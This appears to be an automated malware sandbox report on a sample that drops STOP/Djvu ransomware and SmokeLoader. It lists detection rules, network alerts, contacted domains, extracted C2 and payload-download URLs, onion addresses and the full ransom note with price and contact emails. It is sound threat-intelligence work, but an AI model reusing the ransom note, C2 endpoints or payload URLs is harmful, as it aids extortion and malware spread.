15.0.D7DE.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.3.56E6.exe.36c0000.0.raw.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x36d645:$x1: https://cdn.discordapp.com/attachments/ 0x36e115:$x1: https://cdn.discordapp.com/attachments/
15.2.D7DE.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.2.D7DE.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.D7DE.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.D7DE.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Click to see the 71 entries

Snort Signatures

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249737802851115 08/31/22-14:28:51.675950
SID:	2851115
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249734802851115 08/31/22-14:28:48.568762
SID:	2851115
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249777802851115 08/31/22-14:29:19.702387
SID:	2851115
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249752802851115 08/31/22-14:29:06.257809
SID:	2851115
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249747802851115 08/31/22-14:29:03.548244
SID:	2851115
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249762802851115 08/31/22-14:29:10.056730
SID:	2851115
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249731802851115 08/31/22-14:28:46.911477
SID:	2851115
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 - Source IP: 192.168.2.4 - Destination IP: 45.136.151.102

Timestamp:	192.168.2.445.136.151.10249740802851115 08/31/22-14:28:54.152447
SID:	2851115
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://acacaca.org/lancer/get.php	Avira URL Cloud: Label: malware
Source: http://www.hhiuew33.com/	URL Reputation: Label: malware
Source: http://linislominyt11.at/	URL Reputation: Label: malware
Source: http://www.hhiuew33.com/check/safe	Avira URL Cloud: Label: malware
Source: https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	Avira URL Cloud: Label: malware
Source: https://trustnero.com/608d2d360fdf2ef9b5e53e7761a71eb3.exe	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/31.html	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/logo.png	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/31.htmlnH1	Avira URL Cloud: Label: malware
Source: http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/	Avira URL Cloud: Label: malware
Source: https://i.xyzgamei.com/gamexyz/31/random.exe	Avira URL Cloud: Label: malware
Source: https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	Avira URL Cloud: Label: malware
Source: https://blockstream.info/apihttps://sofolisk.com/api/loginvalid	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe

Avira: detection malicious, Label: HEUR/AGEN.1249525

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 35%

Perma Link

Multi AV Scanner detection for domain / URL

Source: v.xyzgamev.com	Virustotal: Detection: 11%	Perma Link
Source: linislominyt11.at	Virustotal: Detection: 14%	Perma Link
Source: i.xyzgamei.com	Virustotal: Detection: 12%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\20C0.exe	Metadefender: Detection: 53%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\BB5C.dll	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\C40D.exe	Metadefender: Detection: 53%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\C40D.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Metadefender: Detection: 58%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Roaming\bhseufd	ReversingLabs: Detection: 37%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\56E6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BB5C.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\bhseufd	Joe Sandbox ML: detected

Source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://zdauctions.com/tmp/", "http://mordo.ru/tmp/"]}
Source: 15.0.D7DE.exe.400000.9.unpack	Malware Configuration Extractor: Djvu {"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-lFoTUDc1Fx\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0549Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.137.109:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.91:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.202.54:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49817 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: D7DE.exe, D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Loader.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\hototapeges\jof14 godedoraga vihidi69\puwu.pdb source: D7DE.exe, 0000000E.00000000.475490784.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000F.00000000.479907680.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe.1.dr
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 'C:\livujem.pdb source: 361E.exe, 00000017.00000000.525440643.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 361E.exe.1.dr
Source:	Binary string: C:\cucusapaziye\cajufapih80 xusir.pdb source: 56E6.exe, 0000001C.00000000.551013550.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, 56E6.exe.1.dr
Source:	Binary string: C:\tebelumobom8.pdb source: file.exe
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\livujem.pdb source: 361E.exe, 00000017.00000000.525440643.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 361E.exe.1.dr
Source:	Binary string: CC:\hototapeges\jof14 godedoraga vihidi69\puwu.pdb source: D7DE.exe, 0000000E.00000000.475490784.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000F.00000000.479907680.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe.1.dr
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: amrhomedecor.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: i.xyzgamei.com
Source: C:\Windows\explorer.exe	Domain query: trustnero.com
Source: C:\Windows\explorer.exe	Domain query: stylesheet.faseaegasdfase.com
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: fakermet.com
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: b.game2723.com
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com
Source: C:\Windows\explorer.exe	Domain query: www.amrhomedecor.com

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49731 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49734 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49737 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49740 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49747 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49752 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49762 -> 45.136.151.102:80
Source: Traffic	Snort IDS: 2851115 ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2 192.168.2.4:49777 -> 45.136.151.102:80

Found Tor onion address

Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcouldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdownloading obfs4proxydriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: expected multiple of 2failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/idna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wspan has no free spacestack not a power of 2status/bootstrap-phasetimer goroutine (idle)trace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe

DNS query: name: ip-api.com

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://acacaca.org/lancer/get.php
Source: Malware configuration extractor	URLs: http://zdauctions.com/tmp/
Source: Malware configuration extractor	URLs: http://mordo.ru/tmp/

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic

